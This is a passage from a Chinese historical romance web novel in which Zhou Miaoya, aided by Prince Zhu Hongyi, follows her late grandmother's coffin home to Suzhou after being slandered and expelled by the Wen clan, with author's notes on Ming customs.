话未说完,朱弘毅已伸手接过簪子细看,簪头是一盏精巧的掐丝宫灯,灯穗都用极细的金丝盘成,坠着南海珍珠,在灯光下熠熠生辉。 “喜欢吗?”他转头问她,声音比平时柔和许多。 周妙雅垂眸,只轻轻点了点头。 朱弘毅取出银钱付给摊主,接过那花丝金簪。 他转身面向周妙雅,动作顿了顿,似在斟酌,见她并未躲闪,这才抬手,极轻地将簪子簪入她发间。 摊主在一旁瞧着,忍不住赞道:“夫人戴这支簪子真是再合适不过了,这宫灯样式衬得夫人越发贵气,走在灯市上,怕是要把满街的花灯都比下去了。” 周妙雅闻言,脸颊更红了几分,却也没有再出声否认,她微微侧过头,发间的金簪在灯火下流转着耀眼的光泽,那盏小小的宫灯恰好与她裙裾上的织金纹样相映成趣。 朱弘毅的目光在她发间停留片刻,唇角悄悄扬起。 却听她忽然极轻地嘟囔了一句:“才不是你夫人呢…” 话音未落,她竟提着裙摆,转身便钻进了熙攘的人流,白绫袄蓝缎裙在灯火阑珊处闪动着,像一尾灵巧的鱼,转眼就消失在了人群中。 朱弘毅一怔,随即失笑,不紧不慢地循着她离开的方向跟去。 周妙雅一口气跑出十来丈远,直到踏上一座青石拱桥才停下。 她扶着桥栏微微喘息,桥下的河水倒映着万千灯火,也映出她绯红未褪的脸庞。 忽然一声哨响划破夜空,周妙雅抬头望去,只见一簇金线直冲云霄,在夜幕中绽开万千流火。 紧接着,各色烟花接连升起,将整片天空映得五彩斑斓。 桥上行人纷纷驻足,惊叹声此起彼伏。 朱弘毅侧首看向身旁的女子,烟花在她清澈的眸中明明灭灭,那专注的神情,让他想起初见时她在窗下作画的模样。 “真美。”周妙雅轻声叹道。 “是啊。”朱弘毅的目光始终停留在她被烟火照亮的侧脸上,低声应和:“真美。” 桥上一时间人流涌动,二人随着人流缓步前行,行至一处灯火通明的戏台前。 明角灯围作玉楼金阙,戏台上正唱着昆曲《蝴蝶梦》,此刻正到《劈棺》一折。 锣鼓声里,只见那扮演庄子的老生唱道:“…且将灵柩,扶回故里…” 一旁的旦角田氏以袖掩面,哭声凄切,催促家僮:“速速扶柩归山”。 台上人抬着象征棺椁的道具,绕着戏台缓缓而行,唱词里反复念着:“扶柩而行”,“抬到空房供奉”… 周妙雅不觉停住了脚步,目光凝在戏台上,渐渐失了神。 朱弘毅立在她身侧,并未看戏,只静静看着她,但见她唇边的浅笑渐渐敛去,眸中的光彩也黯淡下来,只怔怔地望着戏台上那送葬的队伍。 他想起上次在酒楼,她听《牡丹亭》时眼中涌动的思乡情绪,心下便了然。 他微微倾身,声音放得极柔:“又想家了吗?” 周妙雅闻声,缓缓转过头来,烟火明明灭灭的光影映在她脸上,眼底竟有几分湿润。 她轻轻摇头,声音有些发涩:“不是想家,只是…想起祖母的灵柩还孤零零地停在京城的西郊墓园。” 她心中翻涌着刚刚经历的开棺验尸,三司会审,虽已替祖母讨回公道,令真凶伏法,但那具被开验过的棺木,至今未能入土为安。 她顿了顿,望向戏台的方向:“方才听那扶柩归山的唱词,就在想…等开春天暖了,该送祖母回苏州与祖父合葬了,这是她生前最大的心愿。” 朱弘毅沉默片刻,柔声安慰她:“待春日运河开河,我安排船只,陪你一同南下。” 周妙雅抬眼看他,眸中带着几分讶异,随即化为浅浅的暖意,轻轻点头:“多谢王爷。” 道罢谢,周妙雅复又垂下头,望着地面上的残雪,沉默了片刻。 夜风拂过,吹动她鬓边的碎发,也吹散了戏台上飘来的余音。 她终于抬起头,目光清亮地望向朱弘毅,语气平静却坚定:“等送祖母的灵柩回乡安葬,我便与文家…彻底了断。” 她微微停顿,像是要斟酌接下来的字句:“文家对我的养育之恩,此生难忘,可如今,祖父祖母都已不在…” 说到这里,她的声音轻了下去,随即又清晰起来:“我不想再与文毓瑾,有任何瓜葛了。” 最后几个字她说得格外清晰,像是终于卸下了什么重负。 朱弘毅静静听着,目光始终温和地落在她身上。 待她说完,他微微颔首,随即才开口,声音不高,却字字清晰:“你做什么决定,我都支持你。” 夜风拂过,将他这句话轻轻送进她耳中,周妙雅抬眸,正对上他坦荡而坚定的目光。 他的声音平稳而笃定:“恩怨了断,方能真正开始新的生活,文家既已无可留恋,早些割舍,对你是解脱。” 他顿了顿,语气里多了几分不易察觉的温柔:“往后若有难处,宁王府便是你的倚靠。” 周妙雅望着他,眸中映着街巷的灯火,也映着他沉稳的身影,她轻轻“嗯”了一声,唇角微微扬起—— 作者有话说:在明代的元宵节期间,人们喜欢穿着特定的服饰来庆祝,根据《帝京景物略》和《金瓶梅》的记载,明代人喜欢穿着白绫袄和蓝缎裙出门。 《金瓶梅》第二十四回:话说一日,天上元宵,人间灯夕。正月十六,合家欢乐饮酒。西门庆与吴月娘居上座,其余李娇儿、孟玉楼、潘金莲、李瓶儿、孙雪娥、西门大姐,都在两边列坐,都穿着锦绣衣裳,白绫袄儿,蓝裙子。 《帝京景物略·春场》曰:妇女着白绫衫,队而宵行,谓无腰腿诸疾,曰走桥。 第55章 正月十五过后, 天气一日暖过一日。 檐下的冰棱化尽了,院角的积雪也消融成水,渗进泥土里。 立春那日, 宫里送来春饼, 宁王府上下都换了紵丝的衣服, 把案头的岁朝清供撤下,换上春字当令的应景小品。 周妙雅要扶文老太太棺椁回苏州的消息,便在这春日将临的时节传开了。 这日晌午刚过,门房持着一封拜帖疾步进来。 “王爷,” 门房躬身递上帖子:“文府遣人送来的。” 朱弘毅正在书房查看漕运图,闻言接过帖子,素白笺纸上, 是文毓瑾写的一手馆阁体,墨迹浓重, 力透纸背。 “学生文毓瑾, 恳请拜谒王爷。” 短短一行字,连个缘由都未写。 “匠气,堂堂书画文脉世家, 竟把字写成这样。” 朱弘毅瞥了一眼,将拜帖随手掷在案上:“文老太爷在世时最厌这等匠气, 常说书者散也,如今这文家状元郎, 倒是把字写得跟雕版一副模子。” 长安觑着他脸色,小声问:“王爷, 可要寻个由头回了?” 朱弘毅没回答,只淡淡吩咐道:“去把周女官叫来吧。” 周妙雅正在暖阁布置春日的清供,刚将一支初绽的白玉兰插入钧窑瓶。 听见长安来请, 便放下手中未理好的花枝,净了手便往书房去了。 朱弘毅见她进来,将案上那页拜帖往前推了推,语气平淡:“文毓瑾递了帖子,你说见,还是不见?” 周妙雅垂眸看去,馆阁体工整得一丝不苟,每个顿挫都透着刻意。 她想起从前在文家书房,文毓瑾握着她的手教运笔,那时他的字尚有几分率性。 她抬眸,声音轻却笃定:“见,该来的,早晚得面对。” 朱弘毅凝视她片刻:“可想清楚了?” 周妙雅眼底澄明:“有些事避不得,既然要送祖母棺椁回乡,这一面迟早要见。” 朱弘毅起身,掸了掸衣袖,吩咐长安道:“去回了文毓瑾,本王未时得 空。” 未时初,文毓瑾准时踏入宁王府前厅。 刚一踏进门,他便瞧见翘头案上摆着春令清供:一只天青釉弦纹瓶,斜插两枝初绽的白玉兰,旁侧配着三两茎新采的兰草,布置得疏朗有致,清雅不俗。 他脚步微顿,目光在那玉兰花上停留片刻,这般品味,这宁王府里除了她,还能有谁? 想到周妙雅如今在这府里,连节令摆设都能随手布置,俨然已是半个主人,一股酸涩的妒意顿时涌上心头,喉间发紧。 他定了定神,这才继续往里走。 朱弘毅端坐正厅主座,周妙雅穿着六品女官官服,官帽齐整,神色平静地立在朱弘毅右后方。 文毓瑾的目光在她的官服上停留了片刻,最终落在她未施粉黛的脸上,唇角勾起一抹了然又轻蔑的弧度。 他声音带着刻意的疏冷:“周女官…呵,宁王殿下待你可真是用心良苦,特意为你求来这身官服,是觉得披着这层皮,收你做房里人就更冠冕堂皇些?” 他轻笑一声,目光肆意扫过她纤细的腰身,言语轻佻:“还是说,宁王殿下就好这口,非要让你穿着这身官服…伺候?” 厅内空气骤然凝固。 周妙雅脸颊瞬间褪去血色。 朱弘毅缓缓放下茶盏。 他声音不高,却让整个前厅的温度骤降,“文毓瑾,你今日登门,就是为了来污蔑陛下亲封的女官?” 文毓瑾迎上朱弘毅的目光,唇边仍带着那抹讥讽的笑:“王爷何必动怒,这等掩耳盗铃的把戏,京城谁人看不破?不过是给彼此留些体面罢了。” 朱弘毅声音冰冷:“既然文状元说要体面,那本王现在就给你体面。” 他朝门外扬声喝道:“长安,送文状元出府。” 文毓瑾脸色骤变,声音发紧:“王爷这是要逐客?” 朱弘毅负手而立,衣袂不动:“是请,文状元既然不愿好好说话,本王也不必留客。” 两个侍卫应声而入,一左一右站在文毓瑾身侧,手握佩刀,气势如山。 文毓瑾死死盯着周妙雅,见她始终垂眸不语,忽然冷笑:“周妙雅,你以为你真有资格给祖母扶棺?一个被逐出文家的养女,也配代表文家送灵?” 周妙雅终于抬眼,目光清亮:“我的名字,至今还在文家族谱的旁支上,赏花宴那日,文公子不是还拿着族谱,口口声声说只要名字一日在上面,我便一日是文家人么?” 她上前一步,声音不高却字字清晰:“怎么,如今这族谱,是文公子想用便用,想废便废的?” 文毓瑾被她问得一怔,随即恼羞成怒:“你!” 周妙雅不给他喘息之机:“文毓瑾!族谱由宗亲公议,由不得你一人私改!” 文毓瑾脸色铁青,冷笑一声:“好个牙尖嘴利!就算名字在族谱上又如何?你如今这不清不楚的身份,穿着官服住在宁王府,你要以什么名义扶棺?文家养女?还是宁王的什么侍妾宠婢?” 周妙雅厉声打断:“文毓瑾!你可以辱我,但不能辱祖母对我的疼爱,祖母临终前握我手再三嘱我归葬苏州,我替她完成遗愿,天经地义,有何不可?” 文毓瑾嗤笑:“好个孝心可嘉,那你可问过文家宗亲?问过族老们答不答应?若你以这不清不白的身份扶棺回乡,叫沿途士绅百姓怎么看?叫文家列祖列宗的脸往哪搁?我这个家主便是第一个不答应!” “够了。” 朱弘毅上前一步,将周妙雅护在身后。 他目光冷如寒刃:“文状元若执意要论资格,本王倒要问问,一个连发妻都护不住的人,有何脸面在此谈论孝道?” 文毓瑾对朱弘毅的质问充耳不闻,目光仍死死锁在周妙雅身上。 他扯出一个冰冷的笑:“这时倒想起自己是文家人了?好,既然要论族谱,那我便以文家家主的身份给你两个选择。” 他竖起一根手指:“第一,康氏已死,再无人能伤你,你现在就跟我回文家,回到我身边,如此,我自然允你以文家养女的身份为祖母扶棺。” 他声音骤冷,继续说道:“第二,文家的事,文家自己会办,你一个外姓女子,休想靠近送葬队伍半步。” 他上前一步,几乎要越过朱弘毅的遮挡:“选吧,是堂堂正正地回家,还是永远被排除在文家之外?” 周妙雅听完他所谓的两个选择,忽然低声笑了出来,那笑声里带着无尽的悲凉与决绝。 她抬起眼,眸中水光潋滟,却透着磐石般的坚决:“文毓瑾,你听好了。” “我周妙雅,此生绝不会再踏进文家半步,祖母的恩情我记在心里,但文家的大门…” 她一字一顿,齿间生寒:“我嫌脏。” 文毓瑾脸色骤变,伸手就要去抓她手腕:“由不得你!” 就在他指尖即将触到她的刹那,朱弘毅已侧身挡在她面前。 他一把将周妙雅揽至身后,另一只手已精准扣住文毓瑾的手腕。 力道之大,让文毓瑾瞬间变了脸色。 “文状元。” 朱弘毅声音冰寒刺骨:“本王的话,不说第二遍。” 他手腕一震,甩开文毓瑾,目光如利刃般直刺对方: “从今往后,你若再敢纠缠周妙雅…” 他微微倾身,每个字都砸在文毓瑾脸上:“本王会让你知道,什么是真正的不合规矩。” 说罢,他再不理会僵在原地的文毓瑾,揽着周妙雅转身便走。 “长安” 他沉声吩咐:“送文状元出府,记住,是请出去。” ———— 文毓瑾走后,前厅里只剩下他们二人。 周妙雅挺直的背脊终于微微松懈下来,她独自走到窗边,望着庭院里初绽的玉兰,久久不语。 朱弘毅没有立即上前,只是挥手屏退了左右,留给她一片安静的天地。 春日和暖的阳光透过窗棂,映照在她碧色的官服上,却仿佛驱不散她周身那层淡淡的哀伤。 她的肩膀轻轻颤动着。 “想哭就哭出来。”朱弘毅不知何时已走到她身后,声音比平日里柔和了许多。 周妙雅摇了摇头,转过身时,眼底虽有些泛红,神色却已静如止水。 她轻声说:“我不哭,为这样的人,不值得。” 她抬眸望向南方,仿佛目光已越过千里,落在那条通往苏州的悠悠水路上。 她语气平静,声音执拗却坚定:“他不让我扶棺,我便不扶。文家的船南下,我另乘一舟,远远跟着。到了苏州,他们扶灵入土,我就在远处看着。” 她话音一顿,声音里眷恋与决绝交织:“祖母在天之灵会看见的,她会知道,她的雅儿送了她最后一程,从京城,一直到苏州。” 朱弘毅凝视着她被悲伤与决心笼罩的侧脸,沉默了片刻。 半晌,他才沉声开口:“我陪你去。” 周妙雅倏然抬眼看他。 “我陪你去送她。” 他重复了一遍,语气笃定,不容回绝:“让你独自一人远远跟着,本王…不放心。” 这句话说得平淡,却比任何华丽的安慰都更有力量。 周妙雅怔怔地望着他,一直强忍的泪水,终于无声地滑落,一滴,两滴… 她迅速低下头,用官服的袖口极快地掩去泪痕。 “好。”她只答了这一个字。 窗外鸟鸣啁啾,春日的阳光暖暖地照进厅堂。 周妙雅望着窗外抽新的柳枝,知道方才与文毓瑾那场对峙,已彻底斩断了她与文家最后一丝情分。 此次南下,不只是送别祖母,更是将她自己从文家族谱上、从那段寄人篱下的过往里,彻底剥离出来。 从此以后,周妙雅只是周妙雅—— 作者有话说:据明代《酌中志》载,“又按旧制,自十月初四日,至次年三月初三日,穿紵丝,自三月初四日,至四月初三日,穿罗,该司礼监预先题奏传行。凡婚庆吉典,则虽遇夏秋,亦必穿紵丝供事。若羊绒衣服,则每岁小雪之后,立春之前,随紵丝穿之。(《卷十七内臣佩服纪略》)”,“三月初四日,宫眷内臣换穿罗衣。 馆阁体,又称台阁体,是指因科举制度而形成考场通用字体,是一种方正、光洁、乌黑而大小齐平的官场用书体。 明永乐时之翰林院侍讲学士沈度,其书法风格秀润华美,正雅圆融,深受成祖朱棣赏识,因而名重朝野,乃至片纸千金。上有好,下必甚焉。士子争相仿效,遂成标准书体。 第56章 二月二, 龙抬头。 运河的冰彻底化尽了,浑黄的河水裹着碎冰与去岁的枯枝,浩浩荡荡地向南流去。 漕运衙门撤了封河的禁令, 各色船只开始在各处码头集结, 帆影幢幢, 纤夫的号子声重新在河岸上响了起来。 文府这几日门户洞开,车马不绝。 管家带着小厮们清点随行的箱笼,一应祭器,纸马,香烛都要备齐。 素服加身的文毓瑾立于祠堂前,目送仆役将祖母的灵柩缓缓抬出,移上码头那艘白幡素绸的灵船。 船头的白幡随风而摆, 覆满素绸的船身如雪,在一片杂色船只中显得格外扎眼。 码头上人来人往, 有相熟的人家遣人来问行程, 欲设路祭,文毓瑾一概亲自应对,礼数周全, 神色却始终淡漠,只说是奉祖母遗愿归葬, 闭口不提周妙雅。 偶尔得闲,他便踱至码头尽头, 背手而立,望着宁王府的方向。 河风裹着湿冷的水汽, 吹得他素服下摆簌簌作响。 与此同时,宁王府内也在打点行装。 周妙雅将几身素净的衣裙并一些日常用物收拾进一只藤箱里,动作不紧不慢。 青黛在一旁帮着整理, 欲言又止… 半晌,她终是没忍住,小心问道:“姑娘,咱们…真就这么跟着?文家若是不让靠近…” 周妙雅扣上箱笼,声音平静:“我们走我们的水道,他们行他们的灵船,运河宽阔,他文家还能拦着别的船不走不成?” 她走到窗边,看着庭院里抽出新芽的垂柳。 “我只是去送祖母,不是去和谁争抢。” 朱弘毅拨了两名稳妥的侍卫并一个老成的嬷嬷,连同青黛与长安一同随行,船只也选的是寻常的客船样式,并不起眼,他对众人淡淡吩咐了一句:“远远跟着,不必起冲突,护她周全即可。” 临出行前,朱弘毅进宫向泰和帝辞行。 他在乾清宫暖阁里见到皇兄时,朱弘睿正对着一幅《南巡纪胜图》出神,画上是前朝皇帝南巡时的盛况,秦淮灯影,姑苏烟雨,笔墨间尽是江南风华。 “臣弟特来向皇兄辞行。”朱弘毅躬身行礼。 泰和帝回过神,挑眉看他:“哦?朕这闲云野鹤的王弟,又要去何处寻快活?” 朱弘毅唇角噙笑,目光也落在那画卷上:“人生畅快事,怎能缺了春日的江南?臣弟想去亲眼看看,杜牧诗里的千里莺啼绿映红,到底是何等光景。” 他走到案前,指尖虚点画中一片桃林,继而又憧憬道:“也去尝尝,是否真如白乐天所说,吴酒一杯春竹叶,能醉倒天涯客。” 泰和帝被他说得眼底生羡,摇头叹道:“被你这么一说,朕倒真有些羡慕了,整日困在这四方城里,看的都是奏折,听的都是朝务。” 他拍了拍弟弟的肩膀:“去吧,好好替朕看看这江南春色,把你一路所见所闻,那些市井趣事,风土人情,都记下来,回来说与朕听。” “臣弟遵旨。”朱弘毅含笑应下。 兄弟二人又闲叙半晌,从江南茶市聊到太湖石谱,却唯独没有提起运河上那艘挂着白幡的灵船。 仿佛这真的只是一次再寻常不过的春日远游。 ———— 运河的水声潺潺,混着风声,送入客船窗内。 文家那艘挂着素白幡幔的灵船,在前头不紧不慢地行着,隔着一段不远不近的距离,周妙雅立在船头,望着那点白影在浑黄的河面上起伏,恍惚间,时光仿佛倒流回那年春天。 也是这样的水路,只是方向截然相反。 那时,她陪着文老太太从苏州启程进京,文府门前车马簇簇,当地的官员家眷,世交故旧几乎都来相送,姑苏城外的码头上,是何等的喧腾热闹。 如今,同样是这条水路,同样是祖孙二人。 只是那时满怀憧憬进京的文老太太,如今已化作棺中枯骨,要归葬故土。 而那时心沉如铁,以为前路尽是泥沼的她,却也未曾料到,最终会是这般光景… 她不再是文家的附庸,而是穿着六品官服,堂堂正正的女官,她乘着另一条船,以她自己的方式,送祖母最后一程。 河风拂面,带着湿润的凉意。 不知何时,朱弘毅已悄然立到她身侧,厚实的披风带着他怀里的温度,轻轻罩落在她的肩头。 “乍暖还寒,河风凛冽,注意身子。”他的声音低沉,带着温柔的关切。 披风上还残留着他身上的温度,驱散了周妙雅周身的寒意。 周妙雅这才惊觉自己已在船头站了许久,指尖早已冰凉,连鼻尖都冻得发红。 她拢了拢披风,目光仍追随着前方那点白影:“多谢王爷,只是想起些旧事。” 朱弘毅顺着她的视线望去,灵船在波光粼粼的河面上微微起伏,他没有追问,只是静静立在她身侧,替她挡住风口,任由河风拂动他的衣袂。 周妙雅眼底泛起一丝苦涩,轻声说着:“那年随祖母进京,走的也是这条水路,那时祖母还健朗,一路上都在盘算着如何风风光光地办喜事。” 她没有明说是谁的喜事,但朱弘毅心知肚明。 那些关于她与文家二少爷自幼订婚,又是如何被文毓瑾强取豪夺,如何被他灵堂逼妾的往事,他早有耳闻。 此刻见她神色凄迷,便知她定是忆起了那些不堪的旧事。 “如今想来,倒是造化弄人。”她微微勾起唇角,笑意却未达眼底。 河风渐起,吹得船头的灯笼轻轻摇晃,朱弘毅侧身替她挡住风,语气平静却坚定:“往事不可追,来日犹可期。” 周妙雅抬眸看他,见他目光沉静如水,仿佛能包容她所有的哀戚与彷徨,她忽然觉得,这条归乡之路,似乎也不那么难走了。 “王爷说得是。”她轻轻颔首,将披风又拢紧了些。 水路走了一月有余,待到客船缓缓驶入苏州地界,已是三月暮春。 运河两岸,桃红柳绿,春水碧于天。 从阊门至枫桥的十里长街,商铺鳞次栉比,游人如织,画舫如云,丝竹管弦之声不绝于耳,端的是一派万商云集,最是红尘中一二等富贵风流之地的盛景。 周妙雅立在船头,望着这与京城截然不同的温软风光,一时有些怔忡。 离乡数载,故园风物依旧,青山碧水,画舫笙歌,只是物是人非。 朱弘毅不知何时已站在她身侧,目光掠过岸边熙攘的人烟,淡淡道:“江南盛景,果然名不虚传。” 他的声音将周妙雅从纷乱的思绪中拉回。 她微微颔首,目光却不由自主地投向曹家巷的方向。 那里有她寄居多年的院落,有她习画的书房,也有…许多不愿回首的往事。 她轻声开口,紧绷的声音里带着小心翼翼:“王爷,前面便是寒山寺了,祖母生前最爱听那里的钟声。” 朱弘毅转眸看她,见她虽强自镇定,但手指却紧紧攥着披风的边缘。 他心下了然,这一路归来,于她而言,并非只是简单的送灵,更是要直面那些她逃离已久的过往。 于是温声应道:“既如此,待安顿下来,本王随你去寺里为老夫人上一炷香。” 他的话语虽平淡,却像一块沉稳的磐石,在她心潮微澜时,提供了最坚实的依靠。 客船靠岸后,因文府灵柩归家,曹家巷老宅门前车马喧阗,人多眼杂,朱弘毅便命人先在离文府不远,靠近山塘街的一家客栈落脚。 这客栈名为悦来,门面不大,却收拾得干净雅致。 因着春日游人多,柜前颇为忙碌。 掌柜的是个精干的中年人,见朱弘毅气度不凡,周妙雅虽衣着素净,但容止清雅,忙亲自上前招呼。 “二位客官可是要住店?实在不巧,这几日游人太多,上房就只剩下一间了。”掌柜的赔着笑,目光在两人之间轻轻一转。 他见男子身形挺拔,气宇轩昂,女子低眉顺眼静立其后,虽无逾矩,却自有一股并肩而立的默契,掌柜心下暗揣,约莫是微服携眷的贵官,遂试探笑道:“小的看二位像是夫妻,若不嫌弃,这间上房倒也宽敞洁净,临河而建,景致是极好的。” 周妙雅闻言,耳根微热,下意识地便想开口否认,她与朱弘毅虽同行一路,但始终恪守礼数,分船而居,从未有过逾越之举。 然 而,她话未出口,便听得身侧朱弘毅神色不变,只淡淡“嗯”了一声,对掌柜道:“就这间吧。” 他语气自然,仿佛本该如此。 长安立时会意,上前一步,利落地办理入住,付了银钱。 掌柜的眉开眼笑,连忙唤来伙计引路:“客官这边请,房间在二楼,保证清静。” 周妙雅随着伙计走上木质楼梯,心绪有些纷乱,她知晓朱弘毅此举是为避免节外生枝,亦是考虑到她安危与方便就近探视文府动静,可…同室而眠,终是逾礼。 走在前面的朱弘毅脚步微顿,似是无意地落后半步,与她并行,低沉的声音只有她一人能听见:“暂且忍耐,此处鱼龙混杂,你独居一室,本王不放心。” 他的声音平稳如常,听不出半分旖旎,只有纯粹的考量:“稍后安顿下,你睡里间床榻,本王在外间歇息即可。” 周妙雅闻言,心口骤跳,下意识便急急摇头:“这如何使得?殿下乃皇亲贵胄,身份尊贵,岂能为妙雅屈尊降贵?妙雅万万不敢僭越。” 她怎能让他睡在那张看起来并不宽敞舒适的短榻上?这于礼不合,于心更是不安。 朱弘毅侧目,见她眉尖蹙起,面上是真切的惶惑与坚持,便语气平淡地安慰她道:“无妨,出门在外,不必拘泥虚礼。” 他的话语简洁,却将她所有的推拒都堵了回去,这不是商量,而是权衡之后最妥帖的决定,那份不动声色的担当与庇护,让周妙雅心头微暖,却也泛起更深的涩意。 她垂下眼帘,轻声道:“多谢王爷体恤。” 小二推开廊尽头的门,果如掌柜所言,房内开阔敞亮,一道屏风巧妙隔出内外两间。 窗外正对蜿蜒河道,几株垂柳新绿初绽,随风轻摇,景致甚美,更重要的是,从这窗望去,文府老宅一角飞檐尽收眼底。 朱弘毅环视房间,目光在那张简朴的罗汉榻上稍作停留,随即低声对长安嘱咐几句。 长安领命,悄无声息地退出去安排护卫与行李。 房门轻轻合上,室内只剩下他们二人,春日暖阳透过窗棂,在地上投下斑驳的光影。 周妙雅缓步至窗边,望着不远处那熟悉的飞檐斗拱,沉默不语。 那里,曾是她寄人篱下,战战兢兢度过无数日夜的地方。 朱弘毅将她的沉默尽收眼底,却未多言,只径自走到桌边,提起方才伙计送来的粗陶茶壶,缓缓斟了两杯清茶。 他将其中一杯轻轻推至桌案另一侧,声音平缓而清冽,打破了室内的宁静:“先歇息片刻,待文府那边安定些,再过去打探不迟。” 第57章 曹家巷文府老宅, 白幡低垂,随风轻摆。 文毓瑾将文老太太的棺椁安置在正堂中央,香火昼夜不息, 却并未急于下葬。 这日, 他脱下素服, 换上家常的直裰,坐在花厅里,慢条斯理地喝着新上的碧螺春。 “人都到齐了?”他眼皮未抬,问侍立一旁的总管。 “回大爷,族里的老少爷们儿,能来的都到了,正在祠堂里候着。”总管躬身回话, 语气小心翼翼。 文毓瑾低低嗯了一声,指尖在温热的杯壁上摩挲着。 他自然知晓周妙雅与朱弘毅一路跟着文家的灵船南下, 现下里也已到了苏州, 二人同住在不远处的客栈,还共居一室。 念及此,他心中怒火暗燃, 却强行压下,暗暗发誓绝不会让那对狗男女好过。 放下茶盏, 他起身,不紧不慢地往祠堂走去。 文家祠堂内, 烛火通明,黑压压挤满了一屋子的人。 辈分最高的几位叔公稳坐上首, 其余子弟按辈分肃立两侧,见文毓瑾进来,原本嘈杂的议论声戛然而止, 众人的目光齐刷刷地落在了这位如今撑起文家门面的状元郎身上。 文毓瑾先规规矩矩地给祖宗牌位上了香,又依次向几位叔公行了礼,这才转身,面向族人。 他神色凝重,带着几分悲戚,语气却清晰而平稳:“今日请诸位宗亲前来,一是为商议祖母归葬祖坟,与祖父合葬之具体事宜,二来…” 他话语微顿,目光扫过全场,带着沉甸甸的威压:“有件关乎我文家门风之事,需向诸位族老禀明,并请宗族定夺。” 祠堂内一时鸦雀无声… 文毓瑾的声音低沉了几分,痛心疾首,却又满心无奈:“表姑娘周妙雅,大家想必都还记得,祖母在世时,怜其孤弱,养在身边,悉心教导,视若亲孙,却不料…此女年岁渐长,心性却…唉。” 他重重一叹,语气中满是惋惜,却成功吊起了所有人的胃口。 “她于京城期间,行为颇有不检,与外男往来过密,有损闺誉,祖母多次教诲,她非但不听,反而变本加厉,最终…竟与私相授受的外男牵扯不清,无名无分,居于其府。祖母因此气急攻心,病情加重,临终前…已明确表示,将此不自爱之人,逐出文家,不再认其为孙辈。” 祠堂内顿时一片哗然。 几位叔公面面相觑,脸上都露出惊愕与难以认同的神情。 “竟有此事?” “老太太生前最是疼她,怎会…” “若真如此,确是不能玷污了我文氏门楣!” 文毓瑾抬手,压下嘈杂的议论,继续说道:“祖母灵柩归乡,此女子竟又尾随而来,其意难测。为免她扰了祖母在天之灵,玷污我文家清誉,我以文家家主之名提议…” 他声音陡然转厉,字字如刀:“自即日起,周妙雅不再为我文家养女,名讳从族谱旁支中剔除,一应下葬事宜,绝不许她靠近半步,凡我文氏族人,皆不可与之往来,违者,以族规论处!” 决议在几位族老的默许和大部分族人的附和声中,迅速通过。 不到半日,消息便传到了悦来客栈。 周妙雅正临窗而立,望着文府的方向,指尖无意识地捻着一支刚返青的芦苇。 长安叩门而入,垂首将文家宗族大会的结果,一五一十地禀报。 听到行为不检,与外男私相授受,逐出文家,剔除族谱这些字眼时,周妙雅捻着芦苇的指尖微一用力,芦苇杆啪地一声断作两截。 她脸上没什么表情,甚至没有愤怒,只是眼底那点微光,一点点冷了下去。 青黛在一旁气得脸色发白,浑身打颤:“姑娘清清白白,他们…他们怎么能这么污蔑姑娘!文大郎他血口喷人!文老太太若是泉下有知…” 周妙雅轻声打断她,声音平静得可怕:“青黛,不必说了。” 她早就料到文毓瑾不会让她顺利送葬,却没想到他会用这般决绝狠辣的手段,借着宗法礼教的名义,彻底将她剥离出去,并狠狠踩入泥泞。 她缓缓走到桌边,将那截断了的芦苇轻轻放在桌上。 窗外,江南春日温软,柳丝轻摇,而她的心,却像浸在数九寒冬的冰窟里,寒意透骨。 原来,他不仅要阻她送祖母,更要彻底毁了她在故乡立足的根本,让她身败名裂,无处容身。 朱弘毅推门进来时,看到的便是她这般模样。 她背对着他,肩背挺得笔直,孤寂地立在窗前,背影写满了苍凉。 他挥手让青黛和长安退下。 他走到她身后,没有立刻说话。 周妙雅没有回头,只望着窗外,声音淡若轻烟:“长安都告诉你了吧?” “嗯。”朱弘毅低声应下。 她忽然极淡地笑了一下,那笑意未达眼底,反添几分凄清:“也好,文毓瑾替我彻底斩断了和文家的关系。” 斩断了与文家最后的名义牵连,也斩断了她对故乡最后的一丝温情念想。 朱弘毅沉默片刻,开口道:“宗族之议,不过是人言,你若想送,本王自有办法让你送到。” 周妙雅却缓缓摇了摇头。 她转过身,拾起桌上那截断芦,置于掌心,看了片刻。 抬眸时,她看向朱弘毅,眸光清冽 :“不必了,他文家的族谱,不配写我周妙雅的名字,祖母的恩情,在我心里,不在他文家的坟前。” 她声音不高,却斩钉截铁: “我会去送祖母,但不是以文家养女的身份,而是以周妙雅,我自己的身份。” ———— 文老太太与文老太爷合葬那日,天色阴沉,细雨如丝,似天地同悲。 文家祖坟所在的山脚下,仪仗森严,白幡如海,一片白茫茫。 僧道诵经声,族人呜咽声,礼宾唱喏声交织在一起,为这江南春日平添了几分刻意的庄重与铺张的哀荣。 文毓瑾身披重孝,走在送葬队伍最前头,他由两个仆人搀扶着,步履蹒跚,几乎难以自持。 每当有人上前劝慰,他便抬起一张涕泪纵横的脸,哽咽难言,只反复念叨着孙儿不孝,未能承欢膝下,其状悲切,令人动容。 几位须发皆白的族老跟在后面,见此情景,无不捻须点头,低声感叹: “毓瑾这孩子,孝心可嘉,感天动地啊!” “老太太在天之灵,也该欣慰了。” “文家有此后人,门楣不坠!” 赞誉之声,伴随着纸钱纷纷扬扬,弥漫在潮湿的空气中。 而在不远处的山头上,一道纤细的素白身影静静伫立。 周妙雅身着一身孝服,远远望着山下那喧嚣而虚伪的一切。 从这里看下去,那庞大的送葬队伍如同蝼蚁,文毓瑾那悲痛欲绝的身影,也模糊成了一个苍白的点。 她听不到那些赞誉,也看不清文毓瑾脸上的泪,但她能想象出那副虚伪的场景。 细雨无声地打湿了她的发梢和肩头,她却浑然未觉。 她寻了一处较为平坦的草地,面朝祖坟的方向,缓缓跪了下来。 青黛默默上前,将准备好的三炷清香和一壶清酒递给她。 周妙雅将香点燃,双手持着,举过头顶,朝着山下那个方向,郑重地拜了三拜。 她未曾落泪,面容平静,不见丝毫悲戚,唯有哀思深沉,似海无涯。 那双澄澈的眼眸中,映着山下的喧嚣,却似隔了一层无形的屏障,安静得可怕。 首拜,谢祖母多年养育庇护之恩。 再拜,憾未能承欢膝下,送您终老。 三拜,愿您魂归故里,与祖父团聚,安息永安。 她俯身,将那三支香端正插入初解冻的春泥中,看着青烟在细雨中袅袅升起,盘旋不散。 随后,她拿起那壶清酒,拔开塞子,将澄澈的酒液无声洒落。 酒香卷起泥土和初生青草的气息,弥漫开来。 她轻声开口,声音被山风和雨丝吹得有些散,却字字清晰:“祖母,雅儿来送您了。” “未能到您坟前磕头,是雅儿不孝,但您知道,雅儿心里,一直记挂着您。” “您放心,雅儿会好好活着,不再是文家的表姑娘,只是周妙雅。” 